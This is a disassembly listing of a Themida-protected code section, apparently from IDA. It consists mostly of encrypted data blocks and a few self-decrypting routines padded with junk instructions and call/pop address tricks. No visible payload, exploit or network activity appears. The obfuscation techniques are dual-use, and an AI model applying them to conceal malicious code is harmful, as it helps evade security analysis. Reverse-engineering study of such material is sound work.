		dd 66C885h, 0F9240000h,	8C729CA3h, 0CFBB33BDh, 0C3941Dh
		dd 0E2DB2001h, 54AE29B0h, 8097E2BAh, 625DAB5Ah,	968CBA9Eh
		dd 0E04850BDh, 0F544B891h, 0F37DABA6h, 941D0F7Bh, 0CB63EDC3h
		dd 0C3941DBFh, 931CCA30h, 47BD9177h, 0B4A50BDh,	0AC5A7782h
		dd 857B56A1h, 0CFBB33BDh, 4EC3941Dh, 47BB0F46h,	4F7582F8h
		dd 63859508h, 0B85E52FCh, 0AFED3DEh, 941DAEDAh,	0A42163C3h
		dd 0ABA6F11Ch, 4881907Dh, 172A73A2h, 4EE87EF9h,	4CC39421h
		dd 6BEFACD8h, 0FBDF233Ch, 0FFF44F04h, 0D7DEACFFh, 5F3D79FAh
		dd 0F79E16C4h, 48BD9F24h, 26A68E72h, 0F33A60E8h, 3DEC24A1h
		dd 32C3502h, 182886DCh,	764A3E03h, 6CA50DC9h, 143FC2h
		dd 0C8D90000h, 0Eh, 1D6B9A24h, 1DA62222h, 0D129C394h, 1EBDC137h
		dd 4FE7E2D2h, 0C3947F3Bh, 7589B68Ch, 0EF358416h, 0FE286CD0h
		dd 9745DEBEh, 0B28F9805h, 7301C094h, 51E3BD9Fh,	6150A9DDh
		dd 75C43E3Ah, 1CFB1520h, 0BF873426h, 0EDBD0564h, 77262AC4h
		dd 5CC21120h, 3A619955h, 0BEA590E4h, 0E2084751h, 0D7F2057Dh
		dd 8BA5DE36h, 1C06B587h, 379CA097h, 3E0B1AE3h, 32C9A510h
		dd 0B05DE7E6h, 37E66A67h, 2E62D6E1h, 0E7311CCAh, 899A0BE8h
		dd 24A6224Ah, 0D1293A61h, 8C9976FDh, 0A0F2B2B1h, 0BABFC25h
		dd 0F6E9CDFCh, 0BB33BD1Eh, 0C3941DCFh, 52CC7A40h, 31C004BBh
		dd 0D496h, 0F6F7E00h, 0D458EA70h, 0C3941DB0h, 2B7AC337h
		dd 0B856AA1Eh, 5829BD42h, 79C3941Dh, 33BB788Ch,	0C3941D57h
		dd 0AA8EE2D8h, 0C233BD34h, 0DC3084B1h, 7A75CC32h, 6DD5DE82h
		dd 20CA2E15h, 0F305AFF5h, 381C70C4h, 65DB280Eh,	9D4150BDh
		dd 0AD5BBF8Ah, 11F78811h, 0CCD4CB4h, 25374005h,	3Eh, 0C58125B7h
		dd 4AC0941Dh, 40A493E5h, 0A6FB0A6h, 50BD9375h, 0B990E34Bh
		dd 91ACF445h, 0AD3FE92Dh, 941D4D39h, 6F8C2C3h, 0D7DE47BDh
		dd 1DEC980Ch, 1F63C394h, 857B453Bh, 32C8h, 0A6F5000h, 0A855E775h
		dd 0BA9E625Fh, 941DDEAAh, 0BF6951C3h, 5D29BD59h, 7EC3941Dh
		dd 0C74B8691h, 0BDC9AF83h, 6FD7DE47h, 4479BE16h, 44B89CF0h
		dd 0C8857BE2h, 0FFFFFF19h, 0EF1EBD50h, 4BFA573h, 0BF033E4Bh
		dd 8F96675Bh, 6CB994B2h, 0EB3CED51h, 435905DEh,	37BA3238h
		dd 65BD9F7Ch, 88526FB8h, 61426064h, 7593E73Ah, 1BEAC96h
		dd 62CE86D6h, 0E3388138h, 0F8166ADEh, 5D95CA10h, 8EFA7239h
		dd 13A612Ah, 18E51E39h,	1272022Ch, 0C73A6109h, 1138D0DDh
		dd 382C3521h, 50h, 4150BDC4h, 1D1276FEh, 0AD95C394h, 7D1F9F49h
		dd 75EA74E6h, 659E1B1Eh, 0F282AC36h, 0BD9FF743h, 0C262D62Ch
		dd 3A61D582h, 75D9F003h, 0FC407184h, 7D119C96h,	47CDD8D8h
		dd 0C7BA018h, 0E20CF4E5h, 3608D178h, 0F63EEF2Ch, 0ACA831DFh
		dd 0B4000000h, 14F8D5DEh, 9C605FA5h, 19EDD82Dh,	0A9FF67B0h
		dd 4D62A9Eh, 941DE4E0h,	33176BC3h, 1982BE20h, 8E9BC394h
		dd 3247A0B3h, 217BB307h, 6B4F7A8Fh, 0D6846D81h,	1794260h
		dd 63F884D2h, 629475F9h, 0EA74446Dh, 73280642h,	97B18930h
		dd 6D9842B8h, 0DACB2817h, 28156AC6h, 0F7073B34h, 262C8C6Ah
		dd 2A161h, 0D0EF3B00h, 0A693E203h, 84150BDh, 0DDE43AEBh
		dd 0AC93E906h, 2D900B7h
		dd 0F31CC7FEh, 0A34C97AAh, 0CF97A55h, 0E415CEFBh, 33E4E004h
		dd 9C6BC585h, 0FBDADE24h, 0B47F8471h, 941D5430h, 83E7DBC3h
		dd 10658265h, 6FC63E25h, 40E4760Dh, 0BD9F05D1h,	7F6645Eh
		dd 1A7EC2FDh, 0BCCC64ECh, 693A60CBh, 0A436BA4Bh, 60CB4400h
		dd 59F7CB3Ah, 35C746E7h, 0F5632Ch, 0DE8D0000h, 0A514F8D5h
		dd 549C605Fh, 0C3941978h, 5399B4C1h, 0F51809ECh, 0E327ABA6h
		dd 9BD65C54h, 81D8A6Dh,	0D4B02F3Dh, 59641080h, 85E56D9Bh
		dd 90AFF9F7h, 0D731AEBCh, 0E886D543h, 0E677DE26h, 0A498C381h
		dd 0A54CE08Ah, 1A426040h, 0B7FE66B5h, 0FED2369Ah, 7F1D599Ah
		dd 0ECFE76E4h, 7F446DDAh, 0C0B4898Eh, 1D42A88Ch, 15413C4Bh
		dd 30BA5446h, 5A80BFC5h, 996D5CABh, 64E8E130h, 4122CC20h
		dd 5531B5C7h, 0DA3072F9h, 0BDC746E0h, 0DF330E17h, 6B47E410h
		dd 583F0B8Ch, 192h, 72E1D82Ah, 0ACB78295h, 0DA193043h
		dd 75EED52Dh, 0A6BD8098h, 0EF35C81Fh, 9DE203D0h, 4252B3A0h
		dd 0EA3FE80Bh, 75F704DFh, 853295F1h, 35AB1AC5h,	98A31EBDh
		dd 88F49014h, 77BC394h,	0BC403DF8h, 5E61BB92h, 5D2F8Ch
		dd 0FA267B57h, 297AAB4Ch, 560642EAh, 0B189C394h, 0DE7E865Dh
		dd 0A514F8D5h, 48F76550h, 989EA236h, 0BE39D747h, 84719CE0h
		dd 0C682427Fh, 49C39438h, 90CF1D71h, 3E2E6C96h,	0E983AD03h
		dd 2D59CD5Fh, 0A2C3941Bh, 95A8F158h, 0B343ED21h, 0BD9EFE2Eh
		dd 0C4313B1Fh, 88FC70B3h, 1F3A60FCh, 0F31CC73Bh, 3741ABA6h
		dd 60FCCBBFh, 0C8665C3Ah, 39542840h, 60FCD1B5h,	86C563Ah
		dd 0C8D94AE2h, 28124471h, 6E601FDFh, 8146CC8Ch,	0BEh, 2E350C16h
		dd 589BB6C1h, 0F66D5CAFh, 21320119h, 5281BCC4h,	1B61FCE3h
		dd 0C9CE3F24h, 76BE6FF4h, 1E6B845Fh, 21CB3023h,	852DF98Dh
		dd 19FF4EC5h, 0E4760D6Fh, 85263B40h, 0FA4EB4BDh, 3A4EE670h
		dd 8D3A7AF4h, 61B29BB5h, 0F0748654h, 3A7AF494h,	6E09271Bh
		dd 0D7EA33E2h, 0F6C3D439h, 6AE3802h, 3A7AF442h,	0C042FDC5h
		dd 63B61CD8h, 9343133Dh, 8BB57CA3h, 6954AC59h, 90CF7AE5h
		dd 9F2150DDh, 0F7CED2BBh, 0A94E5F59h, 15F2615Ch, 0B8273500h
		dd 0E47C5030h, 0D05237Bh, 8B7F465Ch, 729B2A6Eh,	0DECF1421h
		dd 0B4AF23D5h, 89D8ACC0h, 6BAF4173h, 67D808ACh,	3D8BF03h
		dd 60000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h
		dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
		dd 50CF7BCFh, 4055854h,	83000000h, 48704E8h, 0DB685C24h
		dd 89000029h, 3368241Ch, 8900005Eh, 0EC812414h,	4, 0B8240489h
		dd 3C640977h, 14439705h, 5ACC3577h, 0C389B569h,	148B5458h
		dd 4C48324h, 0F2BB5350h, 0B8738D4Dh, 738D4DFAh,	15BD829h
		dd 581889D0h, 5A2434FFh, 0FF04C483h, 815B2434h,	4C4h, 4D21E900h
		dd 0D30DFFFAh, 10296676h, 0CDB944CBh, 0ABB8F4F0h, 3061131h
		dd 85C650C5h, 60B2845h,	17256847h, 0B5FFCF38h, 60B0B01h
		dd 390D858Dh, 0D0FF060Bh, 858DD88Bh, 60B24BDh, 1046850h
		dd 0D3FF0000h, 284585C6h, 6853060Bh, 8307F8BFh,	0B01B5FFh
		dd 858D060Bh, 60B390Dh,	8589D0FFh, 61115A3h, 2715BD83h
		dd 0F00060Bh, 0B84h, 0A59D8B00h, 0E9060B21h, 5,	0BBh, 1006800h
		dd 0B58D0000h, 61115A7h, 95FF5356h, 60B0071h, 15A7B58Dh
		dd 0F0030611h, 1E9h, 3E804E00h,	9840F5Ch, 80000000h, 850F2F3Eh
		dd 0FFFFFFEDh, 8D0006C6h, 1115A785h, 95FF5006h,	61115A3h
		dd 4BE0FF58h, 907E8661h, 0EC2A9EAAh, 1F4EB405h,	0A249F462h
		dd 0D9526194h, 0D02E5206h, 954CA4F4h, 0DB0F423Ch, 8D455103h
		dd 8D13E367h, 1133738Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0E9FD14Ch, 0CB816602h
		dd 8D89CC23h, 60B174Dh,	8A5B529h, 85C7060Bh, 60B0119h
		dd 60F4h, 4860Fh, 0BF660000h, 85C74AFCh, 60B1009h, 0
; ---------------------------------------------------------------------------
		and	eax, 20D1EA8Dh
		push	dword ptr [ebp+60B1ADDh]
		sub	eax, 2EBFCB8Ch
		call	dword ptr [ebp+60B0AC5h]
		push	0
		call	dword ptr [ebp+60B32DDh]
		mov	eax, eax
		jmp	short loc_59F44B
; ---------------------------------------------------------------------------
		dd 0FFA63F3Ch, 0F8407E56h, 6AEEACA2h, 5E8C46B7h, 447F7BB2h
		dd 887ECE7Dh, 0F38389B4h, 0CFD19C19h, 135270BDh, 0C600A4E7h
		dd 0B9040A6h
; ---------------------------------------------------------------------------
		mov	fs, word ptr [esi+ecx*8]


loc_59F44B:				; CODE XREF: Themida_:0059F41Aj
		call	sub_59F45A
; ---------------------------------------------------------------------------
		dd 0D1503E8Eh, 7631F31Bh
		db 0C4h, 34h

; =============== S U B	R O U T	I N E =======================================



sub_59F45A	proc near		; CODE XREF: Themida_:loc_59F44Bp
		add	eax, 3C227977h
		pop	ebx
		or	eax, 6A4659CAh
		add	ebx, 724Ah
		xor	ecx, ecx
		cmc


loc_59F470:				; CODE XREF: sub_59F45A:loc_59F4F0j
		mov	edi, [ebx+ecx]
		adc	eax, 31057E8Eh
		xor	edi, 2E8D4308h
		add	ax, 103Fh
		xor	edi, 6B3D8CDDh
		sub	ax, 0EB6Fh
		xor	edi, 49A6FF4Fh
		xor	[ebp+60B0671h],	esi
		mov	[ebx+ecx], edi
		jp	loc_59F4AC
		pusha
		mov	[ebp+60B0AD1h],	eax
		popa


loc_59F4AC:				; CODE XREF: sub_59F45A+44j
		mov	dx, bx
		sub	ecx, 10B873B1h
		cld
		add	ecx, 10B873ADh
		clc
		cmp	ecx, 0FFFF8E68h
		jnz	loc_59F4E7
		push	ebx
		mov	eax, 25C397C0h
		pop	eax
		jmp	loc_59F506
; ---------------------------------------------------------------------------
		db 4Ah,	91h, 0E4h
		dd 2DA9DA9Dh, 75278022h, 0F52F6BACh
; ---------------------------------------------------------------------------
		cmc
		retn
; ---------------------------------------------------------------------------
		db 14h
; ---------------------------------------------------------------------------


loc_59F4E7:				; CODE XREF: sub_59F45A+69j
		jb	loc_59F4F0
		push	ecx
		clc
		pop	edx


loc_59F4F0:				; CODE XREF: sub_59F45A:loc_59F4E7j
		jmp	loc_59F470
; ---------------------------------------------------------------------------
		db 16h,	0F6h, 11h
		dd 0DBE6EACEh, 0F5C00FE4h, 0D1102FA0h
		db 5Bh,	0D8h
; ---------------------------------------------------------------------------


loc_59F506:				; CODE XREF: sub_59F45A+76j
		call	near ptr sub_59F51B
		aaa
		mov	al, ds:7341B011h
		and	edi, ebx
		ja	short loc_59F552
		setalc
		rep xor	byte ptr [ecx-21h], 47h
sub_59F45A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_59F51B	proc far		; CODE XREF: sub_59F45A:loc_59F506p
		mov	[ebp+60B03D5h],	ecx
		pop	eax
		sbb	dx, 78BDh
		add	eax, 6F33h
		mov	[ebp+60B0F9Dh],	ecx
		sub	edi, edi
		pusha
		jmp	loc_59F54C
; ---------------------------------------------------------------------------
		db 0Ah
		dd 7AC51402h, 5256ABE6h, 0CD5499C9h, 0E67762DDh
; ---------------------------------------------------------------------------


loc_59F54C:				; CODE XREF: sub_59F51B+1Bj
		sub	edx, [ebp+60B27D1h]


loc_59F552:				; CODE XREF: sub_59F45A+B9j
		popa


loc_59F553:				; CODE XREF: sub_59F51B+88j
		mov	ebx, [eax+edi]
		add	ebx, 1AA16DBBh
		mov	esi, edi
		sub	ebx, 557E9913h
		jmp	loc_59F57D
; ---------------------------------------------------------------------------
		db 7Ch,	8Bh, 0Bh
		dd 67489FBBh, 48D63052h, 8EB1E864h, 414DD3F2h
		db 66h
; ---------------------------------------------------------------------------


loc_59F57D:				; CODE XREF: sub_59F51B+49j
		add	ebx, 5A4B2CBEh
		jp	loc_59F58A
		clc


loc_59F58A:				; CODE XREF: sub_59F51B+68j
		mov	[eax+edi], ebx
		adc	edx, 0E8F1357h
		mov	[ebp+60B0D3Dh],	eax
		sub	edi, 4
		cmc
		cmp	edi, 0FFFF917Ch
		jnz	loc_59F553
		jmp	loc_59F5BE
; ---------------------------------------------------------------------------
		dw 912Eh
; ---------------------------------------------------------------------------
		inc	eax
		xchg	eax, ebp
		dec	ebx
		cmp	dl, [ebp-2Bh]
		aaa
		retf	41F1h
; ---------------------------------------------------------------------------
		and	cl, [eax+ebp]
		lahf


loc_59F5BE:				; CODE XREF: sub_59F51B+8Ej
		call	near ptr sub_59F5CF
		lodsb
		or	eax, 4E0A607Bh
		push	ds
		db	65h
		aaa
		pop	edx
		lodsb
		inc	esi
sub_59F51B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_59F5CF	proc far		; CODE XREF: sub_59F51B:loc_59F5BEp
		mov	[ebp+60B151Dh],	esi
		pop	edx
		pusha
		mov	eax, 14346EA7h
		mov	[ebp+60B16ADh],	edx
		popa
		add	edx, 6BD6h
		or	eax, 6B495F1Fh
		mov	ebx, 1AC4h
		pusha
		mov	ecx, [ebp+60B0031h]
		mov	[ebp+60B2E65h],	edx
		popa


loc_59F602:				; CODE XREF: sub_59F5CF+AAj
		mov	ecx, [edx]
		mov	eax, 40047A2Dh
		sub	ecx, 6C566995h
		pusha
		mov	esi, [ebp+60B0AB1h]
		cmc
		popa
		xor	ecx, 37D46AB2h
		mov	[ebp+60B1631h],	edi
		add	ecx, 753AFA0h
		sub	[ebp+60B328Dh],	eax
		push	ecx
		mov	[ebp+60B2A71h],	edi
		pop	dword ptr [edx]
		or	[ebp+60B0619h],	ebx
		sub	edx, 4
		mov	ax, cx
		sub	ebx, 1
		jnz	loc_59F66B
		mov	di, dx
		jmp	loc_59F68D
; ---------------------------------------------------------------------------
		adc	[ebx+54h], edi
		mov	bh, 0
		push	ebx
		retf	0B785h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 6Dh
		dd 7BCFFFD5h
		db 0BAh, 53h, 24h
; ---------------------------------------------------------------------------


loc_59F66B:				; CODE XREF: sub_59F5CF+7Cj
		pusha
		sub	[ebp+60B0BA1h],	edx
		xor	[ebp+60B22FDh],	edi
		popa
		jmp	loc_59F602
; ---------------------------------------------------------------------------
		dw 39DDh
		dd 0FEC251DBh, 86D6B6EAh, 97C1AD84h
		db 0F3h
; ---------------------------------------------------------------------------


loc_59F68D:				; CODE XREF: sub_59F5CF+85j
		lea	ecx, [ebp+61136BFh]
		push	0
		push	edx
		call	sub_59F69E
		and	[edx-3Dh], bl
sub_59F5CF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_59F69E	proc near		; CODE XREF: sub_59F5CF+C7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_59F69E	endp

; ---------------------------------------------------------------------------
		dw 2AC5h
		dd 3DB589E5h, 89060B33h, 0B174D8Dh, 0DE806h, 0A1380000h
		dd 0A8040540h, 0D04842F9h, 8BA9C22Ah, 0B080985h, 0BD8B5E06h
		dd 60B025Dh, 11985C7h, 6410060Bh, 858B0000h, 60B0739h
		dd 3F63B7BAh, 985C71Bh,	60B10h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E893C357h
		dd 11h,	2EFFEEBBh, 633A612Dh, 371244CEh, 39F19231h, 9ABF66C7h
		dd 0B5FF5ABCh, 60B2355h, 2C90BF60h, 8E82B71h, 9D000000h
		dd 34C82D1Fh, 80968DBEh, 6159CFE4h, 0AC595FFh, 958B060Bh
		dd 60B1169h, 95FF006Ah,	60B32DDh, 0FEBC08Bh, 5B603283h
		dd 1E30AAB9h, 3C270157h, 0EB7DADC8h, 0B61B9026h, 8EAFEC33h
		dd 64746E55h, 642E6C6Ch, 88006C6Ch, 34074621h, 55A3D25Dh
		dd 50EF50h, 0
		dd 0E9000000h, 687h, 11385768h,	482DE906h, 0F668FFFAh
		dd 0E9061138h, 0FFFA4823h, 1139BD68h, 4819E906h, 5D68FFFAh
		dd 0E906113Ah, 0FFFA480Fh, 113B5868h, 4805E906h, 768FFFAh
		dd 0E906113Ch, 0FFFA47FBh, 0BAB990E2h, 0D40F3A4Dh, 2D1E83Bh
		dd 0BDA69DE5h, 0EE754850h, 97ED0057h, 455A4BA8h, 0FA0AFB78h
		dd 0A2F710C3h, 0ADBF4C97h, 852A4D39h, 8D73C2C5h, 3AC8h
		dd 0D5DE5000h, 1DE2E60Eh, 1D65C394h, 518C3339h,	0C5D7635Ch
		dd 0C208002Eh, 0BE483CB0h, 0FBDFC394h, 9AB7C04Dh, 615CA550h
		dd 0D48FB99Dh, 94BE0242h, 5A7583C3h, 999E0F99h,	6F948AA4h
		dd 40E4760Dh, 0BD9EFD91h, 9050241Eh, 3A60C3F0h,	3046B725h
		dd 0AF59BD01h, 0E900F8F5h, 0C02C35CEh, 238h, 3632462Ch
		dd 0E70FDD66h, 0BD9F05A2h, 5C28BCCEh, 0D33A60C5h, 0EC241EFh
		dd 60C5E2E6h, 0E0E4083Ah, 673A60C5h, 7A5EA413h,	0D52ADB05h
		dd 62064E8h, 4EAF3F7Eh,	0D66D0F06h, 0D445FA04h,	0E904F890h
		dd 0E809DD0Bh, 4588589Dh, 0B91897Dh, 0E358EA70h, 81D186F3h
		dd 0BE46E044h, 922216D6h, 1A8B51A9h, 615CA909h,	0D94DDF0Dh
		dd 0EA395AADh, 0C2862E22h, 45EA395Ah, 74EF197Dh, 0B4B38E9Bh
		dd 56A587F2h, 944E0101h, 89000004h, 709D467Dh, 0DECF1425h
		dd 8865FED3h, 77904372h, 72C1122Dh, 0B588906Bh,	53841AEh
		dd 0E8E731DEh, 0BC899A0Bh, 1E965AA7h, 0C585256Ah, 0DE960EFDh
		dd 0E2E60ED5h, 65C3941Dh, 5555391Dh, 862E3C47h,	0BD9F1CF3h
		dd 0A0D50E74h, 0BBC0DC18h, 0FA083DB1h, 0D31D446Bh, 7DCB2F5Bh
		dd 665AA030h, 431EC501h, 4C50DFE0h, 50812537h, 0DDE6D2E0h
		dd 831911E5h, 92FA72F8h, 6DE8D92Eh, 31B5C715h, 8CA66255h
		dd 0A657E0DAh, 10C10EF9h, 816CFE28h, 6D9A5974h,	86222D18h
		dd 7D311FDAh, 3F53295h,	0DE280000h, 84937CE7h, 3241AEB5h
		dd 0D32BC41Fh, 829677ECh, 0CA11A0B3h, 0DD6E933h, 0BDA69BE0h
		dd 0EA094450h, 6DDE83Dh, 8BFF77F5h, 1CC58525h, 0D5DE37ADh
		dd 881414F8h, 68BC69F3h, 7B95E95Dh, 51D567F1h, 0C3941D35h
		dd 1D2B5FD7h, 46BCC394h, 9F6781F9h, 0BD9F2A6Eh,	16ED40FFh
		dd 0E9E38AA7h, 6C306EF5h, 3CE105D7h, 5C44714Bh,	0E56964B1h
		dd 0F1CCD8A1h, 201FC90Dh, 90E510DAh, 4451BEA5h,	0A8C40CD2h
		dd 0E70F199Ah, 3077EEE3h, 303A1E64h, 77EEC8BCh,	77B5F30h
		dd 0A7234BD5h, 283077EEh, 0DCDC34D2h, 3DB1BBC0h, 4E7CFE88h
		dd 0F2EC539Dh, 958EC247h, 0A9691DD5h, 84FE2E4Ch, 1AEBA7A0h
		dd 1AE8927Ah, 32EA5h, 38176300h, 8EBBCA3Bh, 5069B855h
		dd 251C6283h, 0F4CBD13Eh, 6A81E86Fh, 0DB342F16h, 8B64FFC2h
		dd 7491427Dh, 3CCD1623h, 24CCB82Ch, 0F443C585h,	0F8D5DE0Ch
		dd 0F3881414h, 0E72EDF69h, 29A83CEAh, 6BD9F26h,	99D0273Ch
		dd 78000001h, 0CE991EBDh, 0EC8D850Bh, 0C24C5342h, 0B4F9209Dh
		dd 0ABFD2331h, 0F0D4289Ch, 2D364656h, 0E92B73Fh, 0AF93BD9Fh
		dd 0AB8EBE48h, 5E3E375Ch, 0BA9F17C5h, 8BB928C0h, 0D1ABC3B7h
		dd 640CA04Ah, 0DB43350Bh, 7F8875E7h, 23749142h,	6FABD916h
		dd 927087B4h, 28E3Dh, 58778300h, 2E1B6A9Bh, 0F0C9D835h
		dd 457C8263h, 142B719Eh, 8A6188CFh, 7B944F76h, 2BC41F22h
		dd 9471E2DDh, 5CADB683h, 276C188Ch, 14E3C585h, 0F81EBDACh
		dd 196D81B4h, 0EEC394A9h, 0EB7B6B94h, 8C997492h, 0CFADCDB1h
		dd 8A14A6B4h, 4A3E011Bh, 7C8AFE76h, 251DC394h, 7D3E7B0Bh
		dd 4B8FBD9Fh, 85D7E7A8h, 0FFE6CF7h, 77BCFFAh, 7D3551D5h
		dd 40BA3A61h, 65A0C4A6h, 0EA446A65h, 25BACE66h,	0C30D307Eh
		dd 7E25DFABh, 766A5030h, 250440E4h, 0B78B307Eh,	66F07C53h
		dd 7E25BACEh, 1B350D30h, 9F7C1C4Bh, 0F18A12C5h,	63D6C36Bh
		dd 9557D897h, 69217511h, 0AC80FA9Dh, 522E01BEh,	56E1DC28h
		dd 6C9A8A5Bh, 0B8F884E4h, 20699F43h, 0F588B74Fh, 0B0D4DFCAh
		dd 0C02D3F13h, 866886BBh, 4D708974h, 67ABD3A3h,	3E04E364h
		dd 99B4C12Ch, 6D58AD5Ah, 6393ECE2h, 542B1F27h, 193h, 9E457C86h
		dd 0C82B2671h, 66FDCCDFh, 91427189h, 0C2112C74h, 8B916C73h
		dd 397EAFB4h, 0E62EDF04h, 8E9B74EFh, 915BA0B3h,	8526691Dh
		dd 0A90FFEC5h, 14F8D5DEh, 0D8288814h, 0BA07E4ABh, 7CF07A5Eh
		dd 0BD9F818Dh, 0DD3B3802h, 0E4760D6Fh, 85062740h, 8852A8BDh
		dd 5DA8081Dh, 40A4986Ch, 90E41193h, 53FDD1A5h, 289CA9FAh
		dd 0FC02ACF0h, 391D71C5h, 0CF1EBB33h, 2B6F446Bh, 90E59AC1h
		dd 2129C2CFh, 6FB86507h, 13648152h, 53885226h, 0CF6C8B50h
		dd 0B4082660h, 658953E8h, 4E42B208h, 3F45B0h, 0D61169E6h
		dd 9280289Ah, 0E41EF151h, 0D9000000h, 806DF6CDh, 6E9F4475h
		dd 0D8352E23h, 8760F3C2h, 2291427Dh, 0E5D8203Bh, 0B588917Eh
		dd 183741AEh, 0ECD92ADBh, 0CE668A77h, 0C58521BAh, 6FC6BE0Dh
		dd 77E4760Dh, 9066DD3Eh, 0AF41EF8Fh, 85DB6807h,	14F9BDh
		dd 9A0BD135h, 0F0D4B885h, 0FE0BF256h, 279410C3h, 0C98FA605h
		dd 6FEFE3ACh, 0CB2CC976h, 5FA8A543h, 0B569E62h,	0B297865Bh
		dd 5AE05461h, 6531B6D2h, 78C13961h, 0B2AF1322h,	0AB9BF7F6h
		dd 7A8F7471h, 2E7B944Fh, 63477E86h, 83C76FF9h, 4616531h
		dd 0CCB82C3Eh, 43616531h, 0F379D17Fh, 77DBF202h, 218F513h
		dd 1ED24F33h, 316C188Ch, 9FE36165h, 51B63771h, 3DEA0944h
		dd 9E0FDDE8h, 0F2D6BA97h, 181BFC54h, 0A5000000h, 0D8431EBDh
		dd 0E24EAB99h, 24D19344h, 3F13E7DEh, 0BA0E434Eh, 0DEB2A846h
		dd 0A009FDD4h, 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh
		dd 2EB5F66h, 8871C5FCh,	0DFC4079h, 0CF7BCFFAh, 34CB68h
		dd 242C8900h, 54CE68h, 240C8900h, 81E38953h, 4C3h, 4EB8300h
		dd 5C241C87h, 50243C89h, 11373CB8h, 8BC18906h, 0C4832404h
		dd 3C8B5404h, 4C48124h,	56000000h, 8950CE89h, 84789F0h
		dd 34FF5E58h, 0C4835F24h, 240C8B04h, 81E78957h,	4C7h, 4C78100h
		dd 87000000h, 0E95C243Ch, 0FFFA41BFh, 0B3120845h, 5A9E9F21h
		dd 318D9B3Dh, 0B8A2F948h, 6113D10h, 0E0FFC503h,	7283ACF8h
		dd 276FA485h, 482B55FDh, 5BA38797h, 7957A13Fh, 55BEBD2Bh
		dd 12E8h, 3F023700h, 0C555AA2Ch, 3D0CAD91h, 7CB7A0ADh
		dd 0BAB01C43h, 185623Ah, 0A0D28058h, 71DAC081h,	0CD800000h
		dd 1C4268F1h, 5BF50000h, 0FC8086BAh, 0E830FF3Ah, 6, 0FB3F67CBh
		dd 5F5AE578h, 1AD28160h, 8B2B286Dh, 0F78161CFh,	5C741F5Dh
		dd 81D2CD80h, 64A797C7h, 9FF78101h, 0F82AC701h,	0FE83889h
		dd 86000000h, 1EA202C0h, 0C2A9F9D1h, 39F3A3E6h,	0F18B77A1h
		dd 7E88159h, 663DDD15h,	0C081D68Bh, 3DDD1503h, 9E8h, 0D8FD4C00h
		dd 0A0E1F16Ah, 0E960C69Bh, 0Ah,	0DDEE4940h, 0FA36E745h
		dd 8FB9BE58h, 61012E42h, 1EB8359h, 11850Fh, 1CE90000h
		dd 59000000h, 0BE7A2DB1h, 0EC2CA9FBh, 0F82D593Bh, 0FFFF64E9h
		dd 0B97275FFh, 0C4FDA033h, 0EBAC4235h, 8, 0F0702B00h, 4BAE978h
		dd 0AB680000h, 0E906113Fh, 0FFFA409Bh, 11403768h, 4091E906h
		dd 6668FFFAh, 0E9061141h, 0FFFA4087h, 362D246Eh, 60F3CED9h
		dd 9E457487h, 0C92A2971h, 7AF9C4DCh, 237994DBh,	0D126C71Ch
		dd 8E9677ECh, 3643ACB7h, 3933D81Bh, 8523D1B5h, 71E756C5h
		dd 17FBDADEh, 0F3605DA6h, 9842D9A3h, 7585D10Eh,	0EE292471h
		dd 0C5B4BA1Dh
		dd 9A6A84B3h, 0BD9F8F1Bh, 0CA1AEED4h, 3A61BCBAh, 6ED2ED3Bh
		dd 5A96ABFh, 3A61BC41h,	3498FCC6h, 7A8B09h, 0C236B7EDh
		dd 2C36922Bh, 30106h, 2D46EE00h, 0AD06B31h, 0CEB28D9Bh
		dd 1A925C8Ah, 0BD9F052Fh, 9384F20h, 0A3F84185h,	8145BA9Eh
		dd 3F046178h, 64BC324Ah, 0AAA7F059h, 4100A4B6h,	0A3411055h
		dd 0F8162372h, 0AB35271Bh, 107B4703h, 4501A535h, 0CA35107Bh
		dd 153307F0h, 849FFD3Dh, 70A3DE56h, 5B344B1Bh, 47EF7D4Ch
		dd 33ED3003h, 905ABE84h, 0B28D9706h, 1592AF85h,	0B2586BEh
		dd 1FC4F102h, 5FA8A5EEh, 8FD95071h, 0E42BEC66h,	75000002h
		dd 0DCC92A21h, 8A7BF8C9h, 7491427Fh, 23CC172Eh,	0C67DE6D9h
		dd 19247C9Fh, 0E9D42DDAh, 0BC8B9D0Ah, 3D46A7h, 0AAC22ED3h
		dd 0C58522DEh, 0BD7AE251h, 8FDAEA1Eh, 94776367h, 619EE4C3h
		dd 0E4554E16h, 0FFD3A79Eh, 812F4D51h, 6BBD5A79h, 0E9282103h
		dd 1D915BBFh, 0BD8566E8h, 26D7057Dh, 133438D2h,	0F5037660h
		dd 5FA54291h, 0B549C60h, 0D13C842Ah, 785B2F47h,	432C3A7Bh
		dd 523073Ah, 5C2FF08h, 866373D5h, 5843040Eh, 0E9000002h
		dd 50BDA69Dh, 3EEF7445h, 0E805DEF3h, 57B0A392h,	52E1724Dh
		dd 95A8F00Bh, 6558A14Eh, 0C80711FEh, 9CA9FA2Bh,	3EB6BA47h
		dd 0C5855D4Ah, 6FF66EDDh, 40E4760Dh, 0BD850E85h, 0FE4C300Ah
		dd 44C8F70Fh, 6E1EE600h, 0BB3A7ADCh, 0F514ECF9h, 0DC2C2ECDh
		dd 19Eh, 0F8D5DE38h, 6550A514h,	47DCA0FEh, 198C1195h, 82A1BD9Fh
		dd 218D970Fh, 0F3CEDD3Dh, 0F3D7CB0Fh, 0F4A7270Fh, 26723A60h
		dd 0F5BC6DA7h, 43952C34h, 73000000h, 9D4150BDh,	0F5C9BD88h
		dd 55277791h, 29881CCEh, 6BD9F05h, 1382483Ch, 0F43370Ah
		dd 0AA4479BEh, 60CBAADAh, 0A8257F3Ah, 35C6B950h, 0BA902Ch
		dd 0FE080000h, 79CDFC0Fh, 0C7B9CD05h, 340E3A60h, 50BD241Ah
